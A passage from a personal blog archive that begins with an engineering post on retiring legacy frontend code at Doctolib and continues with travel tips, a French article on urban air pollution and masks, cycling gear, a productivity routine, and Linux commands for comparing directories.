Optimizing is done progressively, after our bi-annual meetings, through special tasks we call Tech Tasks. These tasks are differentiated from regular feature tasks by their very own nature: they are purely technical tasks whose goal is to improve platform stability, security, and performance as well as to reduce technical debt. People usually pick the ones they like best when they work on Tech Tasks (Fridays are Tech Tasks days for most feature teams). However, a few big and/or complex tasks do get assigned during our bi-annual meeting in order to make sure that they will eventually be carried out. These big tasks are prioritized by the solution architects and engineering managers on a regular basis to ensure they fit into the roadmap.

Finally, monitoring is done throughout. It is a never-ending process. At the end of every meeting, we set KPIs to “track” and then we immediately create dashboards to track usage of “legacy” through these KPIs. One person is in charge of creating these graphs, usually the same person who called a meeting in the first place. Basically, this translates to metrics we expect to drop.

3 out of the many graphs we use to monitor recompact usage

These three graphs above show the number of lines in our code base containing a deprecated function. This is how we compute these numbers:

We also create less-specific dashboards which list the “general” legacy functions and libraries we aim at reducing or killing altogether.

Everything that is considered legacy is shown on this graph

These graphs are a helpful starting point from which we can monitor progress.

Preventing people from using it

There is a long-lasting tradition of heavily relying on static checks at Doctolib. Essentially, they are script files which we run on source code as it is — before transpilation and bundling. Our CI pipeline runs these tests first, before running any of our 8000+ end-to-end tests. Below is the one test which checks for new lines containing deprecated React methods and recompact helpers, and then reports on Pull Requests.

In addition to relying on static checks, we also regularly inform and remind people about our best practices on the frontend stack. We usually demo state-of-the-art JavaScript once a month, during what we call “Tech Time” — a meeting for and by software engineers. It’s also a good opportunity to show how much progress is being made on reducing legacy code.

Meeting objectives

Oftentimes, the long tasks tend to remain “in progress” forever and people lose interest in them. This is when the people who first defined these objectives come into play. It is their responsibility to help these tasks reach a conclusion by supporting those working on it and providing a helping hand if need be.

In any case, every bi-annual meeting starts off with a review of what has been achieved during the previous term and carries on from there.

Long-term vision

Deprecating these few React functions, recompact, a significant part of our RxJS usage, jQuery, and CoffeeScript is a major first step. By doing so we can ease new joiners’ onboarding, keep up with the latest JavaScript standards, and reduce our technical debt. It also belongs to a bigger picture. Creating these dashboards opens the door to more monitoring, which ultimately means more control. A recent concrete example is the bundle size dashboard, which we introduced a few weeks ago.

This dashboards tracks our bundles sizes over time

Not only does it store the sizes over time but it also reports on Github Pull Requests. A handy npm package called bundlesize checks that every build does not exceed thresholds defined in our package.json file.

Checks on a Github Pull Request

In addition to more monitoring, we’ll keep collecting feedback on a regular basis from all of the software engineers, calling for more meetings when needed. We will specifically be paying attention to new joiners, how they feel about the frontend stack and how we can make their onboarding even easier. We don’t want to be held back by legacy code. Instead, we want to be able to experiment with new technologies when relevant, adopt the latest JavaScript standards, and keep up with React.

There is still much to do on the frontend. A Single-Page-Application is much more than just a website. It’s software that runs in a browser. Hundreds of different browser versions actually, operating at various speeds, with unreliable network connectivity. It has to be as good as any software program. The time when servers were the unique focus point has come and gone; frontend requires a different kind of attention, not less.

Originally published on Medium.

Spain

2019-05-08T23:50:00+02:00

I know very little about Spain, I only got to visit Barcelona and Madrid. Nonetheless, here's my 2 cents.

Barcelona

Beautiful touristic city. A lot of young French people go there in Summer to party. An hour up North is Lorret De Mar, a smaller city, even bigger on parties.

Madrid

The capital can be visit in 4 days tops. It's a pretty city but there's not much to see, it's more about the atmosphere, the Spanish way of life, tapas, flamenco, etc. I recommend:

Walk the calle Grand Via
El Retiro Park: don't miss the Palacio de Velázquez, the monument to Alfonso XII and Madrid's Oldest Tree.
Nearby is the Real Jardín Botánico. Pay only 4 euros to get in (guarden only, 2 extra euros to access the exhibitions)
Puerta de Alcalá
Cibeles Fountain
Prado museum (no photos allowed!). Everyday, the last two hours before closing are free for everybody on most days.
Plaza de Santa Ana
Almudena Cathedral
Royal Palace of Madrid (no photos allowed in most rooms!). Again, last two hours are free most days for EU and Latin American citizens.
Puerta del Sol
Plaza Mayor
Mercado De San Miguel

Good to know: taxis are slightly more expensive than Uber. Average price I have seen for Uber from the airport to the city center is 25 euros, whereas I paid 30 euros for a taxi (it's also the maximum price by law).

Also, I searched for hours for a comic book store that sells the latest English comics, I could not find any. I found a few that sold months old English comics though (Red Flack Comics was one of them).

Last but not least, I would advise to visit Madrid in late May, as the weather is perfect, not too hot and not too cold (25 degrees on average in the afternoon), and the crowds of tourists are not there yet.

That's it for now!

Hope

2019-04-17T12:00:00+02:00

Pollution Urbaine

2019-03-12T23:17:00+01:00

Dans cet article, j'essaie de démêler le vrai du faux concernant la pollution urbaine et je m'intéresse aussi aux différents moyens de transport urbains.

Les polluants

Commençons tout d'abord par savoir de quoi l'on parle : les polluants. Quels sont les principaux polluants qui nous affectent chaque jour en ville et surtout quels sont leurs effets sur notre santé ?

Distinguons aussi les polluants primaires, émis directement par une source donnée, des polluants secondaires, résultant de l'interaction des polluants primaires dans l'atmosphère.

Airparif, qui est la référence en matière de qualité de l'air en Île-de-France, répertorie les principaux polluants dans un PDF plutôt bien fait ici. Voici un aperçu de ce PDF :

Principaux polluants répertorieś par Airparis.

Citons en quelques un, majoritairement trouvés en ville :

Les particules fines PM10, PM2.5 et PM1 dont le diamètre est respectivement de <= 10, <= 2.5 et <=1 μm. Pour donner un ordre d'idée, un cheveux humain fait entre 50 et 70 μm de diamètre.

Comparaison avec un cheveu.

Les PM sont émises principalement par les combustions industrielles et domestiques (chauffage par exemple) et le transport routier (essentiellement le diesel mais de plus en plus l'essence, surtout ceux à injection directe). Elles sont associées à une hausse de la mortalité et sont de surcroît cancérigènes. Elles sont considérées comme le «polluant atmosphérique le plus nocif pour la santé humaine en Europe», par l'Agence européenne de l'environnement (AEE) qui a récemment indiqué que 90% des urbains y étaient exposés au-delà des seuils recommandés par l'Organisation mondiale de la Santé (OMS).

Les oxydes d'azote : le monoxyde d'azote NO (polluant primaire) et dioxyde d'azote NO2 (polluant secondaire), eux aussi émis par les combustions, dont le transport routier. Le NO est relativement peu dangereux. Le N02 est irritant et aggrave les crises d'asthmes.
Le monoxyde de carbone (CO), qui lui aussi trouve sa source dans le chauffage et les gaz d'échappement des véhicules. Sa transformation en CO2 contribue à l'effet de serre. Pour l'homme, il devient dangereux à fortes teneurs (maux de têtes, vertiges, voire plus si exposition prolongée).
L'ozone (O3), qui est un polluant secondaire créé sous l'effet du soleil, est irritant pour l'appareil respiratoire et augmente la mortalité.
Le benzène, émis par le trafic routier, est nocif et cancérigène.
Le dioxyde de soufre (SO2), issu de la combustion fossile, c'est-à-dire chauffage et transport routier en partie, irrite les muqueuses, dont le système respiratoire.

Par ailleurs, la pollution urbaine serait liée à une forte détérioration des fonctions cognitives sur le long terme.

Ce que dit la loi

À la date de rédaction de cet article (mars 2019), la législation européenne recommande de ne pas dépasser les niveaux suivants :

Polluants	Valeurs limites	Seuils d'alerte	Niveaux critiques
Dioxyde d'azote (NO2)	En moyenne annuelle : 40 µg/m³. En moyenne horaire : 200 µg/m³ à ne pas dépasser plus de 18 heures par an.	400 µg/m³ en moyenne horaire sur 3 heures consécutives.
Oxydes d'azote (NOx)			En moyenne annuelle (équivalent NO2) : 30 µg/m³ (protection de la végétation).
Dioxyde de soufre (SO2)	En moyenne journalière (pour la protection de la santé humaine) : 125 µg/m³ à ne pas dépasser plus de 3 jours par an. En moyenne horaire (pour la protection de la santé humaine) : 350 µg/m³ à ne pas dépasser plus de 24 heures par an.	500 µg/m³ en moyenne horaire sur 3 heures consécutives.	En moyenne annuelle et en moyenne hivernale - du 1er octobre au 31 mars - (pour la protection de la végétation) : 20 µg/m³.
Particules fines de diamètre inférieur ou égal à 10 micromètres (PM10)	En moyenne annuelle : 40 µg/m³. En moyenne journalière : 50 µg/m³ à ne pas dépasser plus de 35 jours par an.
Particules fines de diamètre inférieur ou égal à 2,5 micromètres (PM2,5)	Pour la protection de la santé : En moyenne annuelle : Phase 1 : 25 µg/m³ depuis 01/01/15. Phase 2 : 20 µg/m³ en 2020.
Monoxyde de carbone (CO)	En moyenne sur 8 heures : 10 000 µg/m³.
Benzène (C6H6)	En moyenne annuelle : 5 µg/m³.
Ozone (O3)	Pour la protection de la santé : En moyenne sur 8 heures : 120 µg/m³, à ne pas dépasser plus de 25 jours par an (moyenne calculée sur 3 ans). Pour la protection de la végétation : AOT 40 de mai à juillet de 8h à 20h : 18 000 µg/m³.h (moyenne calculée sur 5 ans).	Seuil d'information en moyenne horaire : 180 µg/m³. Seuil d'alerte : 240 µg/m³ en moyenne horaire. Actions à court terme obligatoires : 240 µg/m³ pendant 3 heures consécutives.

La France a adopté ces seuils européens pour sa propre réglementation. Le seuil d'information pour les particules fines est fixé à 50 µg/m³ en moyenne journalière. Cela signifie qu'à partir de 50 µg/m³, il y a un risque avéré pour la santé humaine. À partir de 80 µg/m³, le seuil d'alerte français est franchi. Il s'agit là d'un seuil ayant de fortes conséquences sur la santé et/ou l'environnement.

La France et l'Europe fixent la valeur limite concernant les PM2.5 et inférieur à 25 µg/m³ en moyenne annuelle. Cette valeur limite vise à prévenir ou réduire les effets nocifs sur la santé humaine.

Sur le plan mondial, l'OMS recommande sensiblement les mêmes seuils à ne pas dépasser, avec toutefois des seuils plus strictes :

PM10 : 50 µg/m³ à ne pas dépasser plus de 3 jours par an, 20 à ne pas dépasser en moyenne annuelle
PM2.5 : 25 µg/m³ à ne pas dépasser plus de 3 jours par an, 10 à ne pas dépasser en moyenne annuelle
Ozone (O3) : 100 µg/m³ à ne pas dépasser sur une durée de 8 heures

Plus d'informations sur les recommandations de l'OMS ici.

Cartes de l'état de l'air

Comparaison avec les autres moyens de transport

Une enquête menée à Toulouse entre 2008 et 2009 affirme que la voiture est de loin le pire moyen de transport puisque l'habitacle crée un espace fermé où l'air est très peu renouvelé, air qui est d'ailleurs très pollué puisque venant directement de l'extérieur, où la pollution est la plus forte, sur la chaussée. En deuxième vient le bus pour les mêmes raisons. Ensuite, viennent en troisième et quatrième positions le vélo et le bus, respectivement, en considérant 5 polluants. En revanche, l'étude souligne que les mesures du nombre de particules fines (PM10) montrent que l'air du métro est bien plus pollué que celui respiré par un cycliste : au moins 2 à 3 fois plus de particules fines dans le métro. Un autre document PDF donne le détail des mesures effectuées.

Résultats de l'étude

Une étude similaire d'Airparif en 2008 confirme les résultats de l'étude ci-dessus. Cette étude se focalisait sur les cyclistes. Ceux-ci sont le plus exposés lorsqu'ils circulent dans le flux de circulation, parmi les voitures. Dès lors que le cycliste circule sur une piste cyclable, il est bien moins exposé que l'automobiliste. Le cycliste est aussi soumis à des "bouffées" de pollutions (des pics soudains) mais qui ne durent pas, selon les véhicules suivis souvent. À l'inverse, les pics sont moins soudains pour les automobilistes mais ont tendance à durer, du fait du faible renouvellement de l'air dans l'habitacle. Les pistes cyclables sont à privilégier aux voies de bus, elles-mêmes à privilégier à la route partagée avec tous les véhicules. L'étude finit par un conseil général aux cyclistes : il faut éviter l'hyperventilation (pour ne pas inhaler trop de polluants) et se maintenir le plus éloigné possible de la circulation. Les bénéfices de l'activité sportive que représente le vélo restent bien supérieurs aux effets néfastes de la pollution Il est aussi conseillé d'inspirer par le nez (qui fait office de filtre) et d'expirer par la bouche.

Cet article de Terraeco, basé sur l'étude à Toulouse, offre la même conclusion que l'étude d'Airparif.

Cet article du Monde et celui-ci de Libération résument les 2 études ci-dessus. Libération insiste sur les effets bénéfiques d'une activité sportive, bien supérieurs aux effets négatifs de la pollution, tout comme le fait l'Express dans cet autre article. Sur le même sujet "bénéfices vs risques", on peut citer ces trois autres pages :

http://data.blog.lemonde.fr/2016/06/08/pollution-air-villes-deplacement-velo/: "À Paris, il vous faudra 8 heures de vélo dans la journée pour y [rouler assez longtemps à vélo avant que les effets bénéfiques soient « compensés » par la pollution] parvenir dans une journée normale, mais seulement 45 minutes les jours de pic de pollution à 75 μg/m3 de PM 2,5."
http://transports.blog.lemonde.fr/2012/09/17/ne-pas-faire-de-velo-cest-dangereux-pour-la-sante/
https://vader-fr.fr/IMG/pdf/rapportvelobeneficesrisques.pdf

Enfin, cet article du monde qui décrit les principaux polluants et leur effets conseille à nouveau de privilégier le vélo ou la marche à pied aux autres moyens de transport.

Pollution du métro

En quelques mots, l'air du métro est différemment pollué de l'air extérieur mais contient bien plus de particules fines (PM10), dues aux frottement des rames sur les rails et au système de freinage. Or, ces particules fines constituent probablement l'un des polluants les plus néfastes pour notre santé.

Cet article de Terraeco, qui se base à nouveau sur l'étude de Toulouse, nous dit :

Le meilleur, c’est le vélo. C’est en selle que vous êtes le moins exposé aux particules fines. Et l’exposition au dioxyde d’azote – qui est facteur de troubles respiratoires – est anecdotique. « L’exposition à la pollution peut être ponctuellement importante mais sans phénomène d’accumulation », note l’Oramip. En clair, avoir le nez dans un tuyau d’échappement au feu rouge n’est pas bon mais reste peu dangereux puisque l’exposition reste brève, ouf.

En métro, vous êtes fortement exposé aux particules fines, on l’a vu plus haut. Mais vous êtes plutôt épargné pour le dioxyde d’azote (c’est à peine moins bien qu’à vélo). De même pour les – très toxiques – benzène et monoxyde de carbone.

La RATP met à disposition les derniers relevés de pollution dans certaines stations de métro sur ce site et ce site.

Voici pour conclure deux articles complémentaires sur le sujet de la pollution du métro :

Masques antipollution : mythes et vérités

Les masques ne sont pas magiques. Ils visent à réduire l'exposition à la pollution, ils ne peuvent pas la supprimer à 100%. Il faut aussi prendre en compte que les taux de filtrations promis sont bien souvent mesurés en laboratoire, avec une étanchéité des masques qui est optimale. Dans des conditions réelles, l'étanchéite est bien souvent plus faible. La barbe par exemple contribue grandement aux fuites d'étanchéité.

Par ailleurs, bon nombre de masques sont destinés aux deux roues motorisées. La ventilation peut donc devenir difficile avec l'effort à vélo.

Enfin, tous les masques ne filtrent pas la même chose. Certaines filtrent les particules fines, d'autres les gaz, d'autres encore filtrent les deux à la fois.

Masques jetables

Concernant les masques non-réutilisables, ce site semble affirmer qu'ils offrent une meilleure protection contre les particules fines, en citant notamment le masque 3M 9332 comme étant le meilleur. Le site dit aussi "les certifications de type FFP (Europe), et KN (Chine) ou N (USA) permettent d’éliminer les plus mauvais masques.". En effet, en Europe la certification FFP3 (la meilleure) est à favoriser.

Pour ce qui est des masques jetables contre les gaz, cette page nous dit :

ozone (O3) et au dioxyde de soufre (SO2): il vous faut un masque ayant une couche de charbon actif. Les odeurs et les composés organiques volatils (COV) seront aussi captées par le filtre.
oxydes d’azote (NOx): ces gaz peuvent être capté par des filtres spécifiques, mais généralement ces filtres n’existent pas en combinaison avec les filtres à particule pour l’ozone et le dioxyde de soufre.
enfin, le monoxyde de carbone (CO) ne peut pas être filtré par des protections respiratoires conventionnelles.

Masques réutilisables

Concernant les masques réutilisables, en France, il y en a trois principaux :

Wair, celui que j'ai personnellement choisi. Il est nécessaire de changer le filtre tous les mois pour une filtration optimale. Ils promettent aussi une filtration contre les gaz, en plus des particules fines.
R-PUR
Mask Generation

Cet article donne d'autres références de masques, non français, notamment le Vogmask N99 CV. Cet autre site donne d'autres références également.

En conclusion, je dirais qu'il reste difficile d'évaluer la réelle efficacité de ces masques. Une chose est sûr : tant qu'ils ne gênent pas la respiration et ne forcent pas à hyperventiler, il n'y a aucune raison de ne pas les porter.

Voilà qui clôt cet article sur la pollution urbaine.

Resources on the topic

Living In Paris: Riding A Bike In Paris

2019-03-07T22:50:00+01:00

This article is continued here.

I recently purchased a second-hand bike from one of my colleagues. By doing so, I intend to commute with it as often as possible and thus reduce metro-induced stress. It's also a good opportunity to save time: exercice while commuting, how great of a combination is that?!

Anyway, the last time I owned a bike was in 2016 when I was living in South Korea. And riding a bike in Paris is a whole lot different from riding one in University campus. Now let's go through the required gear for a pleasant and safe commute:

A helmet, of course
A bell, for safety
Lighting, front and rear
A U-lock. Any other kind of lock is shit. The best ones on the market are built by Kryptonite. I got the New-U - Evolution Standard (model 2130) and a KryptoFlex 410 Double Loop Cable to lock both wheels.
A fender/mudguard, for rainy days
Waterproof pants, for the same reason
Gloves, they might come in handy in case of fall
Anti-pollution mask
Suitable clothes to reduce perspiration

A very important thing to do is to get one's bike engraved as soon as possible. In case of theft, it increases the likelihood of finding it back. In Paris, BICYCODE takes care of it. You can do it for 10 euros at La Maison du Vélo.

That's it for now.

The Way I Work

2019-02-17T23:20:00+01:00

A few months ago I stumbled upon this article on productivity. I found it very inspiring. It somehow convinced me to rethink the way I work. Since then, I've been actively working on perfecting my daily workflow to be more productive and also more organized. Reducing my stress level was also one of my goals.

I think having a clearly defined and established workflow is more important than most people think. I find habits to be comforting. They help me concentrate and focus on what matters.

The advice given in this article doesn't apply to everybody. Being a software engineer has its own constraints and requirements. In this article, I speak about work environment, tools and fighting physical and mental fatigue.

TODO.txt

I think the most important task one has to do daily is defining a list of priorities for the day to come. It is very important to know what to work on and when.

I tried for a long time to keep a TODO list on a piece of paper (or in a booknote). It was working, but not as well as I wished. The main problem was that I needed to be physically present at my desk to access my list or edit it. That's why I eventually switched to a digital TODO list. Many people resort to apps for that, Evernote being one of the most popular I believe. I however use a simple text file. I find these note taking apps too distracting, with countless features I would never use. What I like about my text file is the simplicity of it. Plus I can access it at any time, as long as I am carrying my work laptop. Plus I am not tempted to access it outside of office hours.

Reading and editing my TODO list is something I do many times throughout the day, as I need to re-arrange my priorities and when I get work done. Moreover, at the end of each day, I make sure to prepare my TODO list for the following day.

My TODO list is a simple plain text file yet it has its own sections, separated by empty lines. The topmost lines of the file are the tasks I need to get done by the end of the day, sorted from the most urgent one to the least. Then, the second section contains tasks that must be worked on in the short term, preferably in the month to come. Finally comes the third section which is a backlog of tasks I want to work on some day.

I've been putting all this into practice for a few months now and I must admit it's working well for me. No distractions, simplicity, I can add/edit/remove entries with a few keystrokes, I can also make backups or send it over emails in seconds. In short, I love it. A stress-free TODO list, always up-to-date.

Below is an extract of my list, in its current state:

- Finish feature 1691
- Book plane tickets and hotel for Berlin trip

- Delete 2 `const workshopVisitMotivesCountScenario = workshopVisitMotivesScenario(motives)` in `onChange`?
- Schedule meeting front guild early April
- Move Jenkins loc() to Heroku

- Articles ideas
  - eslint
  - code/bundle splitting
  - download/parse/exec time
  - debugging with devtools (CSS, ...) in ffox and chrome (breaking point with mouse clicks, ...)

Bookmarks

Bookmarks are an essential feature of any web browser. However, not everyone agrees on how to use it. Even I use bookmarks differently on my personal laptop than on my professional laptop.

Professionally, I use bookmarks for websites I rarely visit, so rarely that neither me or my browser can remember the URL. What I mean by the browser can't remember it is that it does not show up in the list of suggested URLs are I type in the URL bar. I sort my bookmarks by topic, in folders named according to their topic. A few examples of folders I have:

COMPANY-RELATED: payrolls, holidays, expensify, etc
TO READ LATER: lengthy articles I'll probably read some day while waiting for the CI tests to run
REACT TRAININGS I GIVE: Asana list to keep track of the sessions, useful links to share
1-ON-1: contains stuff related to my quaterly objectives, the list of engineering roles and associated levels in my company, etc
TO PRESENT: things I want to present at the next All Hands meetings

I never bookmark websites I visit daily, or frequently. Why? Because I can at least remember some part of the URL, or the title, and my browser is smart enough to autocomplete it and suggest it automatically. For websites I visit many times a day, like the Pull Requests page on Github, or my Twitter feed, I create keyboard shortcuts to access them instantly. For instance, Github Pull Requests is <Super>+G (G as in Github).

In the past, I used to have bookmarks for every website. It wasn't until recently when I switched to very few bookmarks that I noticed how stressful it was for me to have all these bookmarks being constantly displayed before my eyes.

Opening new Pull Requests

Speaking of Github, I've got some interesting things to say about Pull Requests.

I basically open a new Pull Request every time I start working on a new feature, a new bug fix, or when I'm refactoring code. When the specs are not great, it's sometimes hard to know precisely what needs to be done, code-wise. How do I deal with this? First, I start working on what is obvious: be it the core feature, or creating a new empty React component, creating a new Rails controller, etc. Then I git commit, push and open the Pull Request. That first commit is usally quite small in terms of changes. Only then do I start listing what is "left to be done" in the Pull Request description. Github offers a convenient way to create TODO lists in markdown, with actual checkboxes that are checkable. Just write "- [ ] Something to do" and it'll be displayed as a list item prefixed with an unchecked checkbox.

When the TODO list is ready, I add the "WIP" label as well as my team label, and resume working.

Inbox and Thunderbird

Any email people receive fall in one of these three categories:

Action required on your side: it could be a quick action (like replying) or a time-consuming one (like filling a form)
Temporal information
Important information that must be kept for a long time, or files

It works essentially just like a mailbox. Mail people get in their mailboxes also fall into these categories: bills are actions required on your side, postcards are temporal information, payrolls are important information, parcels are like files, etc.

Nobody would open a mailbox, see what's inside, and leave it there. Therefore, it does not make any sense to have inboxes full of emails. I am doing Inbox Zero: I aim (and almost always succeed) at keeping my inbox empty. My strategy is as follows:

I open my email client a few times a day, usually at the beginning of the day, before lunch, after lunch, a few times in the afternoon when I'm on code-breaks, and before leaving work.
I process emails one by one:
- If it's an "action required" email and the action takes less than 5 minutes, I do it immediately then delete the email.
- If it's an "action required" email and the action takes more than 5 minutes, I keep the email in my inbox and add a new entry in my TODO list such as "reply to email from X" or "do what X asked for". I will then delete the email when the action is done.
- If it's a temporal information, I take note of it if needed and delete the email immediately. A temporal information could be a Google Calendar invite, a JIRA edit from my colleagues, an incident reported by New Relic, etc.
- If it's an important information, I move the email into the appropriate subfolder (they're called labels in Gmail). An important information could be a contract (PDF document), an organizational change, a POST-MORTEM document that I believe will be useful in the future, a train ticket that will eventually be deleted when the trip is done, etc.

As I just said, I use Gmail labels quite a lot, in the sense that many emails end up in labels. However, I only have a handful of them. Here are a few:

Trips: business trips (train tickets, hotels, etc)
Front stack: any important email regarding frontend
Archives: anything that does not belong to another category

I also rely on Gmail filters extensively. I get a lot of emails I don't need to see at all, that I want deleted automatically. For instance, I often check the notifications on Github, therefore I don't need to also see the emails they send me. Also, our staging environment is deployed with every new commit (every 10 minutes or so), therefore I don't need to know every time a new commit is deployed.

Finally, I must confess I use Thundebird, and not the Gmail website. And I'm proud of it. The reasons I use Thunderbird are listed below:

It works offline: I can access my emails when not connected to the Internet. Even though it happens very rarely, it's very handy when in the train for instance.
Gmail is a website, and not a lightweight one. The tab consumes a lot of RAM memory, and opening/closing/opening the websites several times a day is not a better alternative, as it takes many seconds.
Gmail is distracting: there's Google Hangout in the left bottom corner, many buttons here and there.
I don't like the conversation-grouping feature of Gmail, I never got used to it. Thunderbird also has it but I disabled it.
Thunderbird is simple, RAM-efficient. And having a distinct program for emails help see it as something important, it's not just another tab.

Slack and distractions

I hate Slack. But I have to deal with it. Slack is distracting (notifications mostly), there's a lot of noise and not much information. There are two-people conversations involving everyone, there are company-wide conversations to which only two people are contributing. There's the fear of missing out, and the useless necessity to read all the unread messages when coming back from days off. Plus important messages and notices get often lost in the never-ending flow of messages. It becomes hard to differentiate what's important from what is not.

So my strategy here is very simple: I open Slack every time I open Thunderbird. Sometimes, I leave it open for longer periods of time, when I'm actively engaged in a conversation. But overall, I try to use it as little as possible.

Open spaces, headphone and sound

I also hate open spaces. Everyone is forced to share everyone else's emotions. Everyone is an indirect contributor who did not volonteer to someone else's conversation.

The main problem with open spaces is sound, or most specifically noise. People talking out loud, laughing, going to the bathrooms, etc. I'm fighting this with a headphone. I wear it almost all the time, most of the time with no music playing. It acts as a symbolic barrier, it helps my brain isolate itself and focus. When I am actually listening to music, it has to be either a song I've heard a thousand times, so that I'm already used to it, or some lyricless song. It helps me get in the zone.

Standing up

Moving on to the physical section now... I've been using a standing desk for a year now, at work. And I am entirely satisfied. I alternate between sitting and standing throughout the day, sometimes several times. It has many advantages. I am feeling more energetic overall.

Sports

I recently started going to the gym many times a week. I am lucky enough to have a gym in the very same building, where I work. My sessions are usually split in two: first I do 15 minutes of jogging, then 30 minutes of workout. In a matter of weeks, I have noticed so much improvement on my sleep quality and productivity during the day. Short nights don't have a toll on me anymore, like they used to. Not that it's advisable or that I like it, but when it happens I can easily handle a few short nights in a row now. Not to mention the slight weight loss. I usually go 2 or 3 times a week, after work.

Conclusion

This is it. That's how I work. I hope you found something useful, or maybe you've learned something? I think most people don't pay enought attention to their daily routine and workflow. They don't seek improvement and don't see the importance of being healthy. There are many ways to reduce stress while increasing productivity. It could be a tiny habit to change or a big one. I think everyone should reflect on that every once in a while, and try to improve the way they work.

Cheers!

Things To Do In Paris

2018-12-11T23:20:00+01:00

Le Louvres
Tour Eiffel - go to the third floor
Champs Elysees
Notre Dame Cathedral + towers
Arc de Triomphe - go to the top!
Montmartre - artistic elevated neighborhood
Restaurant Indianafé Café Maine - nice restaurant, great decoration, with English speaking clients and staff - http://www.indianacafe.fr/restaurants-clubs/46/maine.html
Ground Control - one of my favorite places in Paris for chilling - https://www.groundcontrolparis.com/
Bercy Village - a pedestrian street filled with restaurants essentially - https://www.bercyvillage.com/
Le Comptoir Général - amazing jungle bar - https://www.lecomptoirgeneral.com/ - PHOTOS ==> https://www.instagram.com/lecomptoirgeneral/
La coulée verte - elevated linear park - https://en.wikipedia.org/wiki/Coul%C3%A9e_verte_Ren%C3%A9-Dumont
Palais de Tokyo - museum
Musée du quai Branly - museum
Centre Pompidou - AWESOME MUSEUM!! - https://www.centrepompidou.fr/en
Musée d'Orsay - museum
Père Lachaise Cemetery - Jim Morrison, Edith Piaf, Oscar Wilde, and others are buried there
Pigalle - "hot" neighborhood with the famous Moulin Rouge, music shops, prostitutes, artists, etc
Catacombes de Paris - underground ossuaries with actual skulls and bones
Hanging out on the banks of the Seine
Les jardins du Luxembourg - park
Musée Grévin - wax museum with celebrities - https://www.grevin-paris.com/en
Le Marais - What Castro is to SF; gay neighborhood, very eccentric
Street Art in Belleville - http://streetartparis.fr/visite-street-art-belleville/
Palais Garnier
La Conciergerie
Sainte Chapelle
Château de Fontainebleau
Château de Versailles
Pantheon
Musée Rodin
Musée de l’Orangerie
Musée national d'Histoire Naturelle

At night

Lido
The Crazy Horse
Le Moulin Rouge
La Nocture du samedi - Le Louvre

Here are some additional places of interest.

How To Find Differences Between Two Directories On Linux

2018-12-10T23:20:00+01:00

`diff`

Compares filenames and lines. Very slow.

/usr/bin/diff -qr /dirA /dirB

`comm` + `find`

Only compares filenames. Fast.

comm -3 <(find /dirA -type f -printf "%f\n"|sort) <(find /dirB -type f -printf "%f\n"|sort)

Also works with diff.

`diff` + `find` + `md5sum`

Compares filenames and content. Slow.

/usr/bin/diff <(find /dirA -type f -printf "%p " -exec md5sum '{}' \; | cut -d '/' -f1 | sort) \
    <(find /dirB -type f -printf "%p " -exec md5sum '{}' \; | cut -d '/' -f1 | sort)

`git`

Compares filenames and content. Slow.

git diff -D --no-index /dirA /dirB

Hope this helps.

Germany

2018-11-12T23:50:00+01:00

Recently, I got to spend a few days in Düsseldorf and Cologne. Here is my take on Germany, its social differences, and the cities I got to visit.

Generally speaking, Germany can be slightly more expensive than France, excepted for food and drinks. Housing in Berlin is also much cheaper than Paris. Supermakets are really affordable everywhere. Same goes for restaurants. However, note that tipping is still a thing in Germany, as opposed to France where hardly anybody tips.

Travelling to western Germany from France can be done by riding a train, usually Thalys. Quite pricey but very convenient. Farther parts can be reached via cheap flights.

One funny fact - and sometimes irritating: not many businesses accept credit/debit cards,they tend to favor cash. Be prepared!

One thing that I hate about Germany is that most of the time, restaurants do not serve tap water. They usually have a large variety of bottles water, still or sparkling. They're always reluctant to serve it, and when they do, they might charge you for it. It happened to me once in Berlin: 1.40 euros for a glass of water. Some people argue that restaurants make little money out of serving food and therefore want people to buy drinks, through which they make more money because of bigger margins. Other people argue that tap water is seen as unhealthy by some people, although quality standards for tap water are much higher than bottled water in Germany. As it turns out, no one really knows why tap water is a taboo matter in restaurants.

Germans like to stick to the rules. Specifically, I've never seen any local jaywalk. However I've never been told off for doing it myself so far.

Germans are also big on ecology and biking. To my greatest pleasure, I've seen countless bike lanes. But, surprisingly enough, it's still very legal to smoke in some bars.

Moving on to cities now...

Düsseldorf

I recommend a little walk in Düsseldorf's old town, Altstadt. Walk by the Rhein, enjoy the fresh air.

A very nice place to chill out and enjoy a nice view at sunset is 25hours Hotel Das Tour. Go to the bar at the top, get yourself a drink, it's very affordable!

Finally, if you're into getting high... check out the Rhine Tower. 9 euros, if my memory serves well.

Cologne

Unfortunately, I did not get to spend much time there. However, I can still recommend the Cathedral. Most of it is open to the public for free, even a few parts of the crypt.

Going to Cologne from Düsseldorf is cheap, only 11.5 euros by train. I heard one could get even lower prices, depending on the type of train.

Munich

Such a beautiful city! It is the third-largest city of Germany, and yet it does not feel so big. The must-see places include:

Isartor
Marienplatz, the main square of the city, and the New Town Hall, which you can climb to get a view of the whole city
Ratskeller München, a restaurant right in the city hall courtyard
Nearby are a bunch of churches: Peterskirche (you can go to the top), Heiliggeistkirche
The world famous cathedral with its Devil's footprint: Frauenkirche
Theatinerkirche, next to the Residenz (a 3-hour long museum)
Feldherrnhalle, a monument between Theatinerkirche and the Residenz
Deutsches Museum: again, dedicate at least 3 hours, and don't forget about the mine in the basement, a fun experience!
Siegestor: a triumphal arc
In the Englischen Garten: Monopteros, Chinese Tower and its beer garden
Schloss Nymphenburg
In Olympiapark: Olympiaturm (a tower, 7 euros to get to the top, with a rock museum at the top), BMW Welt (free) and BMW Museum (paid)
Pinakothek der Moderne, a modern art museum - I did not really like that one, as opposed to others like Centre Pompidou in Paris or the Tate Modern Museum in London
Maximilianstraße, a beautiful street
Asamkirche, a tiny and surprising church
Müller'sches Volksbad - pro tip: at night after 8pm, for 13 euros you get both spa and swimming pool
And of course, the iconic Hofbräuhaus München

I also highly recommend the Tollwood Winter Festival. That's where we spent 2018-2019 New Year's Eve, and it was F-A-B-U-L-O-U-S. They even had lockers for us to store our fireworks. Anyone could freely walk in and out, as long as they showed a stamp on their wrist to get back inside. Plus the bands and the music were great!

Pro tip: most museums cost 1 euro on Sundays! The Deutsches Museum does, at least.

Transporation tip: buy a weekly IsarCard. Also, I hear the CityTourCard is a good deal, with 80+ attraction discounts included. We did not try it though.

Berlin

Compared to Munich, it's a lot less pretty. Nonetheless, it's a city with so much history. It's also energetic, young, eclectic, and unpredictable. Berlin is so big that anything inside the Ringbahn is considered downtown. A few notable places I've been to:

East side gallery
Oberbaum Bridge
Checkpoint Charlie
Jewish Museum (2 hours is enough to see it all)
The Remains Of Berlin Wall, on Niederkirchnerstraße
